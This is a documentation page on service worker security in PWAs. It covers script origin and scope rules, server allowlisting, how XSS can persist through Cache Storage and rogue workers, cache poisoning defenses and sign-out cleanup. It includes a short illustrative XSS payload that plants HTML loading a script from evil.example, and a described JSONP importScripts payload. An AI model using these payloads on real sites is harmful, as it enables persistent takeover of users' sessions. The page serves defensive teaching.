Skip to content

Service Worker Security

A service worker is the most privileged script your origin can run: it sits between every page in its scope and the network, it can fabricate any response (headers included), it keeps data in caches that outlive deploys, and it stays registered after the tab closes. That power is why browsers impose strict rules on where a worker script may come from and how it is served, and why a single XSS bug in a PWA can turn into a compromise that persists after you fix the server. This page explains each rule and the attack it prevents, then covers the defensive work that is yours to do: what the worker may cache, how to clean up on sign-out, how to recover from a compromised worker, and how to handle CORS, opaque responses, redirects and credentials without opening new holes.

Key takeaways

  • The worker script must be same-origin, fetched over http:/https: without redirects, and served with a JavaScript MIME type. Browsers send Service-Worker: script on the request, which lets your server refuse to serve anything but the real worker to that kind of request.
  • The scope path restriction is not a security boundary: separate untrusted content by origin, never by path, and never send Service-Worker-Allowed from anything except your worker script.
  • An XSS attacker can write to Cache Storage from the page and register a worker from any same-origin JavaScript URL. Verify cached app-shell responses against build-time hashes and keep a tested kill switch.
  • Cache Storage ignores Cache-Control. Your worker must refuse to cache private, no-store and personalized responses unless offline access is a deliberate feature with per-user cleanup.
  • Clear-Site-Data: "storage" unregisters every worker for the origin and is honored on the worker's own update response, which makes it the ultimate kill switch. It is ignored on responses a worker fabricates.
  • Respect the Fetch tainting rules: an opaque response can only answer a no-cors request, a redirected response cannot answer a navigation, and neither can be turned into a readable response.
  • Never attach credentials or bearer tokens to requests the worker did not expect: navigations and form posts arriving from other sites reach your worker too.

What a service worker can and cannot do

Before looking at defenses, be precise about the capabilities you are protecting. A worker registered for https://app.example.com/ with scope / can:

Capability Mechanism Why it matters for security
Answer every navigation in scope fetch event with request.mode === "navigate" It decides what HTML the user sees for your URLs, including when the server is fixed.
Answer every subresource request from controlled pages fetch event, including cross-origin requests the page makes It can substitute scripts, styles, API responses and images.
Set any response headers on responses it constructs new Response(body, { headers }) It can omit or weaken Content-Security-Policy, add or remove COOP and COEP, and change Content-Type.
Persist data Cache Storage, IndexedDB, OPFS, the Cookie Store API where supported Data survives restarts and deploys until deleted or evicted.
Run without an open page push, sync, periodicsync, backgroundfetch*, notificationclick events Code runs when the user is not looking.
Open and steer windows clients.openWindow(), WindowClient.navigate(), focus() It can send users to arbitrary URLs from a notification click.
Talk to pages postMessage() on Client objects Pages that trust worker messages extend the worker's reach into the DOM.

And the things a worker cannot do, which the platform guarantees:

  • Intercept requests from other origins' pages. Subresource requests are routed to the service worker that controls the requesting client. A cross-site page embedding <img src="https://app.example.com/avatar.png"> uses its own origin's worker, not yours. Your worker does see navigations into its scope from anywhere, including form posts from other sites.
  • Intercept its own update check. The request for the worker script uses service-workers mode none, so it always reaches the network (or the HTTP cache, depending on updateViaCache and staleness).
  • Intercept <embed> and <object> requests. The spec's Handle Fetch algorithm sends them straight to the network because plug-ins may derive their security origin from their own URL.
  • Clear site data by fabricating headers. The Clear Site Data spec requires the header to be ignored on responses served by a service worker, because a worker can return responses for third-party URLs too.
  • Read cross-origin data the page could not read. Cross-origin no-cors responses are opaque to the worker as well. It can store and replay them but cannot inspect them or pass them off as readable.
  • Touch the DOM or document.cookie. Cookies are reachable only through the async Cookie Store API (self.cookieStore), which MDN lists in Chrome 87, Firefox 140 and Safari 18.4, and which never exposes HttpOnly cookies.

The Fetch Handling and Messaging & the Clients API pages cover these APIs in general. This page focuses on their security consequences.

The same-origin script requirement

The service worker specification's security section explains the most important rule in one sentence: a worker "executes in the registering service worker client's origin", and because service workers "create the opportunity for a bad actor to turn a bad day into a bad eternity", they "cannot be hosted on CDNs". The registration and update algorithms enforce that intent with a series of checks:

Check Where it happens What it prevents
Page must be a secure context navigator.serviceWorker is [SecureContext] Network attackers injecting registrations into HTTP pages.
Script URL and scope URL must use http: or https: register() before any fetch blob: and data: workers built from attacker-controlled strings.
Script URL and scope must be same-origin with the page register() before any fetch A page registering a worker hosted on another origin (including a compromised CDN).
No %2f or %5c in the script or scope path register() before any fetch Path confusion between servers that decode escaped slashes and browsers that do not.
Redirect mode error on the top-level script fetch Update algorithm A same-origin URL that redirects to attacker-controlled script.
JavaScript MIME type (text/javascript and its aliases) Update algorithm, else SecurityError Registering an uploaded file, JSON endpoint or HTML page as a worker.
Scope must be within the maximum scope Update algorithm, else SecurityError A script in /uploads/ claiming /.
Service-Worker: script request header Added to every worker script request Lets servers identify and reject unexpected worker script requests.
Page CSP worker-src (fallback child-src, script-src, default-src) CSP pre-request check on the script fetch, before anything is sent Registration of scripts outside the policy's allowlist.

These checks run on the first registration and on every update, so a server change can break updates for installed users months later. The Registration & Scope page lists the exact exception types and Chromium error messages for each.

Using the Service-Worker request header on the server

The specification calls out two server-visible defenses against malicious registration: the Service-Worker header "is present on service worker script requests", and "service worker scripts are served with a JavaScript MIME type." You can turn the first into an allowlist. Every legitimate request for a worker script carries Service-Worker: script (and, in browsers that send Fetch Metadata, Sec-Fetch-Dest: serviceworker). Refuse such requests for any path other than your worker:

server/sw-allowlist.mjs
/**
 * Express middleware: only /sw.js may be fetched as a service worker script.
 * Any other URL requested with `Service-Worker: script` is an attempted
 * registration of something that is not our worker (an uploaded file, a JSONP
 * endpoint, a debug route) and gets a 403 before any handler runs.
 */
const ALLOWED_WORKER_PATHS = new Set(["/sw.js"]);

export function serviceWorkerAllowlist(req, res, next) {
  const isWorkerScriptRequest =
    req.get("service-worker") === "script" ||
    req.get("sec-fetch-dest") === "serviceworker";

  if (!isWorkerScriptRequest) return next();

  if (!ALLOWED_WORKER_PATHS.has(req.path)) {
    // Log it: this is either a misconfiguration or an attack in progress.
    req.log?.warn({ path: req.path, ua: req.get("user-agent") }, "Rejected service worker script request");
    res.status(403).type("text/plain").send("Not a service worker script");
    return;
  }

  // The real worker: strict headers, never cached by intermediaries for long.
  res.set({
    "Content-Type": "text/javascript; charset=utf-8",
    "Cache-Control": "no-cache",
    "X-Content-Type-Options": "nosniff",
  });
  next();
}

The same logic in an edge or reverse-proxy configuration:

nginx.conf (reject unexpected worker script requests)
# Any request that identifies itself as a service worker script fetch...
map $http_service_worker $is_sw_request {
    default 0;
    "script" 1;
}

server {
    # ...is only allowed for the real worker.
    location / {
        if ($is_sw_request) {
            return 403;
        }
        try_files $uri $uri/ /index.html;
    }

    location = /sw.js {
        add_header Cache-Control "no-cache" always;
        add_header X-Content-Type-Options "nosniff" always;
        types { text/javascript js; }
    }
}

This does not stop an attacker from registering your real worker with an unexpected scope (the scope rules handle that), but it closes the most common escalation path from XSS to a persistent rogue worker: registering some other same-origin URL that happens to return attacker-influenced JavaScript.

Scope, the path restriction and Service-Worker-Allowed

A worker's maximum scope defaults to the directory of its script URL. A script at /app/sw.js may control /app/ and below, not /. The server can widen it with the Service-Worker-Allowed response header on the script:

Response headers for /js/sw.js that may control the whole origin
Content-Type: text/javascript; charset=utf-8
Service-Worker-Allowed: /

The Update algorithm processes the header as follows:

  1. If the header is absent, the maximum scope is the path of ./ resolved against the script URL.
  2. If present, the value is parsed as a URL relative to the script URL. A parse failure is a network error.
  3. If the parsed URL's origin differs from the script's origin, the maximum scope stays null, which fails the check below. A cross-origin Service-Worker-Allowed value can never widen scope.
  4. The registration's scope path must start with the maximum scope path, else the job rejects with SecurityError.

Note that step 4 is a string prefix check on paths. Service-Worker-Allowed: /foo permits the scope /foobar/ as well as /foo/, so end directory values with a slash.

The path restriction is not a security boundary

The specification is explicit: the path restriction "provides some protection for sites that host multiple-user content in separated directories on the same origin. However, the path restriction is not considered a hard security boundary, as only origins are." Two tenants at https://host.example/~alice/ and https://host.example/~bob/ share:

  • Cache Storage, IndexedDB, OPFS and localStorage (all keyed by origin, not path);
  • cookies (by default, unless each sets Path, which is not a security mechanism either);
  • the ability to fetch() each other's pages with credentials and read them, since they are same-origin;
  • permissions granted to the origin.

If Alice can run script, she can read Bob's caches, unregister Bob's worker (getRegistrations() returns every registration for the origin), or register her own worker at /~bob/ if she can place a JavaScript file there. Put tenants, user-generated content and anything you do not fully control on separate origins (or separate registrable domains, if cookies are involved).

Two misconfigurations that turn scope into an attack

  • A global Service-Worker-Allowed: /. Adding the header to every *.js response, for example with a CDN rule, means any JavaScript file on the origin can claim the whole origin as scope. Combined with an upload feature or a JSONP endpoint, that is a root-scoped rogue worker. Send the header only on the exact worker URL.
  • User uploads on the app origin. An upload served back as text/javascript (because the server derives the type from the file extension) is a valid worker script for its own directory. Serve uploads from a separate, cookieless origin with Content-Disposition: attachment, X-Content-Type-Options: nosniff, and a fixed safe Content-Type.

From XSS to persistent compromise

On a classic website, fixing an XSS bug and deploying ends the attack for every future page load. In a PWA, a successful XSS can leave behind state that keeps attacking after the fix. Understanding the four persistence paths is the key to designing recovery.

sequenceDiagram
    participant Attacker
    participant Page as Page (XSS)
    participant CS as Cache Storage
    participant SW as Service worker
    participant Server
    Attacker->>Page: Injected script runs once
    Page->>CS: put("/index.html", malicious HTML)
    Note over Server: Team deploys fix
    Page->>SW: Next launch (offline or cache-first)
    SW->>CS: match("/index.html")
    CS-->>SW: Malicious HTML
    SW-->>Page: Attacker HTML served for your origin
    Note over Page,Server: Fixed server is never asked for the page

Path 1: poisoning Cache Storage from the page

caches is available to pages as well as workers, and both see the same caches for the origin. Any script running in a page can do this:

What an XSS payload can do (illustration)
// Runs in the page, with the origin's full privileges.
const cache = await caches.open("app-shell-v42"); // cache names are visible via caches.keys()
await cache.put(
  "/index.html",
  new Response("<!doctype html><script src=https://evil.example/x.js></script>", {
    headers: { "Content-Type": "text/html" }, // and no CSP header at all
  }),
);

If your worker serves /index.html cache-first (the standard app-shell pattern), the attacker's HTML is now your app shell, without your CSP header, because the attacker constructed the response. It persists until the worker overwrites that cache entry, which for a precache typically happens only when a new worker version installs and cleans up old caches, and only if the new version uses a new cache name or re-fetches that URL.

Path 2: registering a rogue service worker

With script execution, an attacker can call navigator.serviceWorker.register() with any same-origin URL. The registration succeeds if that URL returns attacker-influenced JavaScript with a JavaScript MIME type and the requested scope is within the URL's maximum scope. Typical candidates:

  • JSONP and callback endpoints: /api/data?callback= endpoints that reflect the callback name into a text/javascript body. A payload like importScripts('https://evil.example/w.js')// turns the response into a worker that imports the attacker's code. Its scope is limited to /api/ unless Service-Worker-Allowed widens it.
  • Uploaded files served with a JavaScript MIME type, as described above.
  • Dynamic configuration scripts such as /config.js?locale=... that interpolate parameters into JavaScript.
  • Debug, preview or legacy routes that nobody remembers.

A rogue worker controls every navigation in its scope and survives the XSS fix. Because it keeps its own script URL, the browser keeps checking that URL for updates, not your /sw.js.

Path 3: poisoning data the worker trusts

Workers often read configuration from IndexedDB: route tables, feature flags, templates for streamed HTML, a list of URLs to precache. Anything the page can write, an XSS can write. If your worker builds responses from IndexedDB data (for example, by concatenating a cached template with a stored fragment), a single injection becomes a stored XSS that every launch replays. Treat data from IndexedDB with the same suspicion as data from the network: encode it, validate it, and never store executable templates there.

Path 4: abusing the worker's own message API

Many workers accept commands from pages: "cache these URLs", "skip waiting", "clear this cache", "prefetch this route". Only same-origin clients can message your worker, but an XSS is a same-origin client. A handler that caches whatever URLs it receives lets an attacker plant arbitrary cross-origin responses under arbitrary keys. Validate every message (see Validating messages from clients).

Detecting unexpected registrations

A page cannot see what a rogue worker does, but it can list registrations. Run an audit on every load of a page that your legitimate worker serves, and report anything unexpected:

src/sw-registration-audit.js
/**
 * Compares the origin's service worker registrations with the one we expect,
 * reports anything else to the server, and unregisters it.
 *
 * Limitation: a rogue worker that controls THIS page can serve a version of it
 * without this code. The audit catches rogue workers registered for other
 * scopes (for example /api/ or /uploads/), which is the common case.
 */
const EXPECTED = [{ scope: new URL("/", location.origin).href, script: "/sw.js" }];

export async function auditRegistrations(reportUrl = "/reports/sw-audit") {
  if (!("serviceWorker" in navigator)) return;
  let registrations;
  try {
    registrations = await navigator.serviceWorker.getRegistrations();
  } catch {
    return; // Storage blocked or opaque origin: nothing to audit.
  }

  for (const registration of registrations) {
    const worker = registration.active || registration.waiting || registration.installing;
    const scriptURL = worker ? new URL(worker.scriptURL) : null;
    const ok = EXPECTED.some(
      (e) => e.scope === registration.scope && scriptURL?.pathname === e.script,
    );
    if (ok) continue;

    // Report before unregistering so the incident is visible server-side.
    const body = JSON.stringify({
      scope: registration.scope,
      scriptURL: scriptURL?.href ?? null,
      page: location.href,
      at: new Date().toISOString(),
    });
    navigator.sendBeacon?.(reportUrl, new Blob([body], { type: "application/json" }));

    try {
      await registration.unregister();
    } catch (error) {
      console.error("Could not unregister unexpected worker", error);
    }
  }
}

Unregistering is safe for registrations you did not create, but be careful on origins shared with other teams' apps: agree on the expected list first, or you will unregister their workers.

Verifying cached app-shell integrity

The strongest defense against Path 1 is to never serve a cached app-shell response you cannot verify. Because the worker script itself is always fetched from your server during update checks and cannot be modified from the page, it is a trustworthy place to embed content hashes of the files it precaches. Generate them at build time:

scripts/build-precache-manifest.mjs
// Node.js build step: hash every precached file and write a module the worker
// bundle imports. Run after the app build, before bundling sw.js.
import { createHash } from "node:crypto";
import { readFile, writeFile } from "node:fs/promises";
import path from "node:path";

const DIST = "dist";
const FILES = ["index.html", "offline.html", "assets/app.js", "assets/app.css"];

const entries = [];
for (const file of FILES) {
  const bytes = await readFile(path.join(DIST, file));
  const sha256 = createHash("sha256").update(bytes).digest("base64");
  const url = file === "index.html" ? "/" : `/${file}`;
  entries.push({ url, sha256 });
}

await writeFile(
  "src/sw/precache-manifest.js",
  `export const PRECACHE = ${JSON.stringify(entries, null, 2)};\n`,
);
console.log(`Hashed ${entries.length} precache entries`);

The worker checks the hash when it installs the entry (using Subresource Integrity on the fetch) and again every time it serves the entry from cache:

src/sw/verified-precache.js
import { PRECACHE } from "./precache-manifest.js";

const CACHE = "app-shell-v42"; // bump with every deploy (or derive from the hashes)
const HASHES = new Map(PRECACHE.map((e) => [new URL(e.url, self.location.origin).href, e.sha256]));

async function sha256Base64(response) {
  const buffer = await response.clone().arrayBuffer();
  const digest = await crypto.subtle.digest("SHA-256", buffer);
  // Convert to base64 without spreading huge arrays onto the stack.
  let binary = "";
  const bytes = new Uint8Array(digest);
  for (let i = 0; i < bytes.length; i++) binary += String.fromCharCode(bytes[i]);
  return btoa(binary);
}

export async function installVerifiedPrecache() {
  const cache = await caches.open(CACHE);
  await Promise.all(
    PRECACHE.map(async ({ url, sha256 }) => {
      // `integrity` makes fetch() itself fail with a network error on mismatch,
      // so a CDN or proxy serving the wrong bytes aborts the install.
      const request = new Request(url, { integrity: `sha256-${sha256}`, cache: "no-cache" });
      const response = await fetch(request);
      if (!response.ok) throw new Error(`Precache failed for ${url}: ${response.status}`);
      await cache.put(url, response);
    }),
  );
}

/**
 * Returns the cached response only if its bytes still match the build hash.
 * On mismatch the entry is deleted and null is returned, so the caller falls
 * back to the network.
 */
export async function matchVerified(request) {
  const cache = await caches.open(CACHE);
  const cached = await cache.match(request, { ignoreSearch: false });
  if (!cached) return null;

  const expected = HASHES.get(new URL(request.url).href);
  if (!expected) return cached; // Not an app-shell entry; no hash to check.

  const actual = await sha256Base64(cached);
  if (actual === expected) return cached;

  // Someone modified the cache: report and self-heal.
  await cache.delete(request);
  const clients = await self.clients.matchAll({ type: "window" });
  for (const client of clients) {
    client.postMessage({ type: "SECURITY_CACHE_TAMPERED", url: request.url });
  }
  return null;
}

Hashing a 50 to 200 KB HTML or JavaScript file with crypto.subtle.digest() takes on the order of a millisecond on modern hardware, so verifying the handful of app-shell entries on each launch is affordable. For large media, verification is rarely worth it. The approach requires the precached files to be byte-for-byte static: an HTML shell that the server personalizes or stamps with a per-response CSP nonce never matches its build hash, which is one more reason to use a hash-based CSP for cached shells. Note that the check covers the body only: an attacker who replaces an entry also controls its headers, so the worker should serve verified entries with headers it sets itself (including your CSP), as shown in the CSP page's app-shell section.

Build tools do not verify cached content

Precaching libraries key entries by URL and revision so they can tell when to re-download a file. They do not check, when serving, that the bytes in Cache Storage are the bytes they downloaded. If your threat model includes XSS persistence, add verification for HTML and entry-point scripts yourself, or at least make the worker delete and re-fetch the app shell on every activation.

importScripts() and module imports

Classic workers can pull in more code with importScripts(). The rules are defined partly by HTML and partly by the service worker spec's override of the fetch hook:

  • Allowed during evaluation and installation only. While the worker's state is parsed or installing, importScripts(url) fetches the URL (bypassing any service worker) and stores the response in the worker's script resource map. After installation, a call returns the stored response for URLs already in the map and a network error (NetworkError exception) for anything new. You cannot lazily import code after activation.
  • Cross-origin imports are allowed for classic workers, subject to the worker's CSP (script-src). The spec's origin section says so directly: service workers "cannot be hosted on CDNs. But they can include resources via importScripts()."
  • Strict MIME checking. A "bad import script response" (an error, a non-OK status, or a non-JavaScript MIME type) is a network error. MDN lists this MIME check in Chrome 71, Firefox 67 and Safari 16.
  • Imports are re-checked on update. When the main script is byte-identical, the Update algorithm re-fetches each imported URL and compares bytes. A changed import installs a new worker. With the default updateViaCache: "imports", the main script bypasses the HTTP cache, but imports may be served from it unless the registration is stale (more than 24 hours since the last check).
  • Trusted Types apply. In a worker whose own CSP includes require-trusted-types-for 'script', importScripts() with a plain string is a violation. MDN lists enforcement in Chrome 138 and Safari 26.
  • Module workers (type: "module") cannot call importScripts() at all and reject dynamic import(). Their static imports are fetched in CORS mode, so a cross-origin module must send Access-Control-Allow-Origin.

Why third-party importScripts() is a supply-chain risk

sw.js (risky)
// The CDN now controls your worker. There is no integrity attribute for
// importScripts(), and the update check will pick up any change to this file.
importScripts("https://cdn.example.net/push-sdk/latest/sw-helper.js");

Three properties make this worse than a third-party <script> on a page:

  1. Scope of power. The imported code runs with every capability in the table at the top of this page, including control over all navigations.
  2. No integrity check. Neither register() nor importScripts() accepts integrity metadata. You cannot pin the bytes.
  3. Automatic propagation. A malicious change at the CDN reaches every user at their next update check, and persists in their script resource map until the next change.

Mitigations, from strongest to weakest:

Approach How Trade-off
Bundle at build time Install the SDK from npm with a lockfile and bundle it into sw.js Updates require your deploy. Review diffs on upgrade.
Self-host a pinned copy Download a specific version, commit or mirror it, serve from your origin Same as bundling but keeps importScripts() structure.
Pinned versioned CDN URL plus worker CSP Use an immutable, versioned URL (never latest) and restrict the worker's script-src to that exact path Still no integrity. A compromised CDN can change a "versioned" file.
Unpinned CDN URL Do not do this The CDN controls your origin's most privileged script.

The worker's own CSP header is how you restrict what importScripts() may load:

Response headers for /sw.js
Content-Type: text/javascript; charset=utf-8
Cache-Control: no-cache
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self' https://api.example.com; report-to csp
Reporting-Endpoints: csp="https://example.com/reports/csp"

With script-src 'self', any importScripts() of a cross-origin URL throws, which turns an accidental or injected third-party import into a visible failure. The Content Security Policy page explains the worker's policy in detail, including why connect-src must cover every origin the worker proxies.

Cache poisoning

"Cache poisoning" in a PWA covers any way that a response the worker should not serve ends up in Cache Storage and is served later. Besides the XSS path above, the common causes are validation gaps in the worker's own caching code.

What Cache Storage accepts

The Cache API is permissive by design. It rejects only a few things:

Operation Rejects with TypeError when Accepts (and you must filter)
cache.put(request, response) Request is not GET, URL is not http(s), response status is 206, response has Vary: *, body already used Any status including 404 and 500, opaque responses with unknown status, redirected responses, responses with Cache-Control: no-store
cache.add(url) / addAll(urls) Any of the above, a network error, or a status outside 200 to 299 Redirected responses, no-store and private responses, responses for any GET URL you pass

The difference matters: cache.add() refuses opaque responses because their status is 0, which is not an OK status, so it cannot confirm they succeeded. cache.put() will happily store an opaque response that was really a 404 or a login page from a third party. Also note that addAll() called from a page goes through the controlling worker (the spec only bypasses workers when addAll() runs inside a worker), so a page-side precache can be poisoned by a buggy worker.

A cacheability predicate for runtime caching

Centralize the decision in one function and use it in every strategy:

src/sw/cacheability.js
/**
 * Decides whether a (request, response) pair may be written to Cache Storage.
 * Conservative by default: when in doubt, don't cache.
 */
const CACHEABLE_ORIGINS = new Set([self.location.origin, "https://images.example-cdn.com"]);
const OPAQUE_OK_DESTINATIONS = new Set(["image"]); // never scripts, styles or documents

export function isCacheable(request, response) {
  // Pass event.request, not a copy: `new Request(event.request)` (and therefore
  // the request inside fetch(event.request)) does not copy `destination`,
  // which the content-type check below relies on.
  if (request.method !== "GET") return false;

  const url = new URL(request.url);
  if (!CACHEABLE_ORIGINS.has(url.origin)) return false;

  // Never cache anything the user is identified by in the URL.
  if (url.searchParams.has("token") || url.searchParams.has("code")) return false;

  if (response.type === "opaque") {
    // Status and headers are hidden. Only accept for low-risk destinations
    // where a broken entry costs a broken image, not a broken app.
    return OPAQUE_OK_DESTINATIONS.has(request.destination);
  }
  if (response.type === "opaqueredirect" || response.type === "error") return false;
  if (response.status !== 200) return false; // no 203/204/206, errors, or partial content
  if (response.redirected) return false; // see "Redirect handling"

  const cacheControl = (response.headers.get("Cache-Control") || "").toLowerCase();
  if (/\b(no-store|private)\b/.test(cacheControl)) return false;
  if ((response.headers.get("Vary") || "").trim() === "*") return false;

  // Captive portals and misconfigured SPA fallbacks return 200 text/html for
  // everything. Make sure the type matches what the page asked for.
  const type = (response.headers.get("Content-Type") || "").split(";")[0].trim();
  const expected = {
    script: ["text/javascript", "application/javascript"],
    style: ["text/css"],
    document: ["text/html"],
    font: ["font/woff2", "font/woff", "application/font-woff2"],
  }[request.destination];
  if (expected && !expected.includes(type)) return false;

  return true;
}

Cache keys, query strings and Vary

  • ignoreSearch: true merges distinct resources. cache.match("/report?id=1", { ignoreSearch: true }) can return the cached /report?id=2. Use it only for URLs whose query strings are cache-busters or analytics parameters, and strip those parameters explicitly instead where possible.
  • Vary: Cookie does nothing in Cache Storage. The Cache API's Vary matching compares the header values on the stored Request and the query Request. Cookies are added by the network layer and are not part of the Request object your code sees, so both sides have no Cookie header and every user matches every entry. The only headers Vary can distinguish are ones your code or the page set explicitly on the request (for example Accept-Language or an Authorization header you add yourself).
  • ignoreVary: true discards the one protection you have for content-negotiated responses. Use it sparingly.

Poisoned upstream caches

Web cache poisoning on a CDN (an unkeyed header that changes the response, such as X-Forwarded-Host reflected into script URLs) has a longer life in a PWA: if the worker precaches or runtime-caches the poisoned response, it stays in the user's Cache Storage after the CDN entry is purged. Purging the CDN is not enough; ship a worker update that deletes the affected cache, and consider the verification approach above for the app shell.

Caching authenticated responses

Offline support and privacy pull in opposite directions. The default answer should be: do not cache personalized responses in Cache Storage unless offline access to that specific data is a product requirement.

Cache Storage ignores Cache-Control

The HTTP cache honors Cache-Control: private (never store in shared caches) and no-store (never store anywhere). Cache Storage is a script-managed store and honors neither: cache.put() stores whatever you pass it. That makes your worker responsible for the semantics your server intended. The predicate above refuses both directives. Two gaps remain:

  • Opaque responses hide their headers. You cannot see Cache-Control on a cross-origin no-cors response, so you cannot honor it. Do not runtime-cache opaque responses from origins that serve personalized content.
  • Servers forget the header. API responses often omit Cache-Control entirely. Decide per route, not per response header.

A route-level policy table is easier to audit than scattered checks:

Route class Example Worker policy Reason
Versioned static assets /assets/app.3f9a.js Precache or cache-first Public and immutable.
App shell HTML /, /offline.html Precache, verified; must not contain user data Rendered without personalization; user data is fetched separately.
Public API data /api/catalog Stale-while-revalidate Same for all users.
Personalized API data /api/me, /api/orders Network-only, or IndexedDB under a per-user key if offline is required Must be deletable per user on sign-out.
Sensitive data Statements, health records, messages Network-only; never persisted Lost-device exposure outweighs offline value.
Authentication endpoints /login, /logout, /oauth/callback, /token Not intercepted at all Tokens in URLs and Set-Cookie responses must never be cached; Clear-Site-Data must reach the network.

Per-user namespaces

When you must keep personalized data offline, isolate it so sign-out can remove exactly one user's data:

src/sw/user-cache.js
/**
 * Cache names embed a hash of the user id, never the raw id or e-mail, so
 * caches.keys() does not leak who used the device.
 */
async function userCacheName(userId) {
  const bytes = new TextEncoder().encode(`user-cache:${userId}`);
  const digest = await crypto.subtle.digest("SHA-256", bytes);
  const hex = [...new Uint8Array(digest)].map((b) => b.toString(16).padStart(2, "0")).join("");
  return `user-${hex.slice(0, 32)}`;
}

export async function putUserResponse(userId, request, response) {
  const cache = await caches.open(await userCacheName(userId));
  await cache.put(request, response);
}

export async function deleteAllUserCaches() {
  const names = await caches.keys();
  await Promise.all(names.filter((n) => n.startsWith("user-")).map((n) => caches.delete(n)));
}

Prefer IndexedDB over Cache Storage for personalized API data anyway: you control the schema, you can encrypt fields, and you are not tempted to serve raw responses to pages. See Offline-First Data & Sync and IndexedDB.

Sign-out cleanup, end to end

A correct sign-out in a PWA has to clean up in five places: the server session, cookies, the worker's caches and in-memory state, IndexedDB, and every other open window. Queued background-sync requests from the previous user must go too, or they will replay under the next user's session.

sequenceDiagram
    participant Page
    participant SW as Service worker
    participant Server
    participant Other as Other windows
    Page->>Server: POST /logout (bypasses the worker)
    Server-->>Page: 204 + Set-Cookie expiry + Clear-Site-Data
    Page->>SW: postMessage({type: "SIGNED_OUT"})
    SW->>SW: Drop tokens, delete user caches, clear sync queue
    SW-->>Page: {type: "SIGNED_OUT_DONE"}
    Page->>Other: BroadcastChannel "signed-out"
    Other->>Other: Navigate to /signed-out
    Page->>Page: Delete IndexedDB, navigate to /signed-out

The page side:

src/sign-out.js
const AUTH_CHANNEL = "auth";

export async function signOut() {
  // 1. Server first: end the session even if local cleanup fails later.
  //    same-origin credentials mode sends the session cookie; the response's
  //    Clear-Site-Data header is processed because it comes from the network.
  try {
    await fetch("/logout", { method: "POST", credentials: "same-origin" });
  } catch (error) {
    console.warn("Server sign-out failed; continuing with local cleanup", error);
  }

  // 2. Ask the worker to drop in-memory state and user caches.
  await messageWorker({ type: "SIGNED_OUT" }, 3000);

  // 3. Push subscriptions belong to the device, not the user. Unsubscribe if
  //    notifications are personal, and tell the server to forget the endpoint.
  try {
    const registration = await navigator.serviceWorker?.ready;
    const subscription = await registration?.pushManager.getSubscription();
    await subscription?.unsubscribe();
  } catch {
    /* no push support or no subscription */
  }

  // 4. Delete the user's databases. databases() is widely supported now
  //    (MDN: Chrome 72, Firefox 126, Safari 14); fall back to known names.
  const known = ["user-data", "outbox"];
  let names = known;
  try {
    names = (await indexedDB.databases()).map((d) => d.name).filter(Boolean);
  } catch {
    /* older engine */
  }
  await Promise.all(names.map(deleteDatabase));

  // 5. Tell other windows, then leave the authenticated part of the app.
  new BroadcastChannel(AUTH_CHANNEL).postMessage({ type: "signed-out" });
  location.replace("/signed-out");
}

function deleteDatabase(name) {
  return new Promise((resolve) => {
    const request = indexedDB.deleteDatabase(name);
    request.onsuccess = request.onerror = () => resolve();
    // "blocked" fires if another tab holds a connection; it completes when
    // that tab closes the connection (other tabs listen on the channel).
    request.onblocked = () => resolve();
  });
}

function messageWorker(message, timeoutMs) {
  const controller = navigator.serviceWorker?.controller;
  if (!controller) return Promise.resolve();
  return new Promise((resolve) => {
    const { port1, port2 } = new MessageChannel();
    const timer = setTimeout(resolve, timeoutMs);
    port1.onmessage = () => {
      clearTimeout(timer);
      resolve();
    };
    controller.postMessage(message, [port2]);
  });
}

// Every window runs this: close DB connections and leave on sign-out elsewhere.
new BroadcastChannel(AUTH_CHANNEL).onmessage = (event) => {
  if (event.data?.type === "signed-out") {
    window.dispatchEvent(new Event("app:close-databases"));
    location.replace("/signed-out");
  }
};

The worker side:

src/sw/sign-out-handler.js
import { deleteAllUserCaches } from "./user-cache.js";
import { clearOutbox } from "./outbox.js"; // your background-sync queue in IndexedDB

let accessToken = null; // in-memory only; see "Credentials" below

self.addEventListener("message", (event) => {
  // Only window clients of our own origin can reach us, but validate anyway.
  if (event.origin !== self.location.origin) return;
  if (event.data?.type !== "SIGNED_OUT") return;

  event.waitUntil(
    (async () => {
      accessToken = null;
      await deleteAllUserCaches();
      await clearOutbox();
      event.ports[0]?.postMessage({ type: "SIGNED_OUT_DONE" });
    })(),
  );
});

// Authentication endpoints are never intercepted: returning without calling
// respondWith() lets the browser handle the request as if no worker existed,
// so Set-Cookie and Clear-Site-Data on the response behave normally.
const BYPASS = new Set(["/login", "/logout", "/oauth/callback"]);
self.addEventListener("fetch", (event) => {
  const url = new URL(event.request.url);
  if (url.origin === self.location.origin && BYPASS.has(url.pathname)) return;
  // ... your routing
});

Clear-Site-Data on sign-out

The server response to POST /logout should include:

Sign-out response
HTTP/1.1 204 No Content
Set-Cookie: __Host-session=; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=0
Clear-Site-Data: "cache", "cookies", "storage"
Cache-Control: no-store

Details from the Clear Site Data specification and MDN that affect how you use it:

  • Values must be quoted strings. Clear-Site-Data: storage (unquoted) is invalid and ignored.
  • "storage" clears localStorage, sessionStorage, IndexedDB, Cache Storage and other script-accessible storage, and runs unregister() on every service worker registration whose scope is on the response's origin. The next page load has no worker until your page registers one again.
  • "cookies" clears cookies for the whole registrable domain, not just the origin: a sign-out at app.example.com also removes cookies for www.example.com and admin.example.com. If other apps share the registrable domain, expire your own cookies with Set-Cookie instead.
  • "cache" clears the HTTP cache for the origin (and, depending on the browser, back/forward cache entries and prerenders). MDN marks it as partial in Chromium, noting that some requests may still come from the cache until reload and that it may cause seconds-long hangs.
  • "executionContexts" (reload all windows of the origin) never shipped in Chromium, and Firefox and Safari removed it. Use BroadcastChannel as shown above.
  • Only network responses count, and only with credentials. The header is processed inside the HTTP-network fetch when the request's credentials flag is set, and only for potentially trustworthy (HTTPS) URLs. It is ignored on responses a service worker constructs or serves from cache. A response the worker fetched from the network with credentials is still a network response per the spec, but the most robust approach, and the one that behaves identically in every engine, is to not intercept the sign-out request at all.
Directive Chrome / Edge Firefox Safari
Header, "cookies", "storage" 61 / 79 63 17
"cache" ⚠️ partial since 61 ✅ 138 (also 63 to 93) ✅ 17
"*" ⚠️ 117 (partial) ✅ 63 ✅ 17
"clientHints" ✅ 117 ❌ ❌
"prefetchCache", "prerenderCache" ✅ 138 ❌ ❌
"executionContexts" ❌ ❌ (63 to 67 only) ❌ (17 to 18.2 only)

Support data as of September 2026, from MDN's compatibility data. ⚠️ Chromium's partial support for "cache" and "*" is described in the list above.

Kill switches and incident response

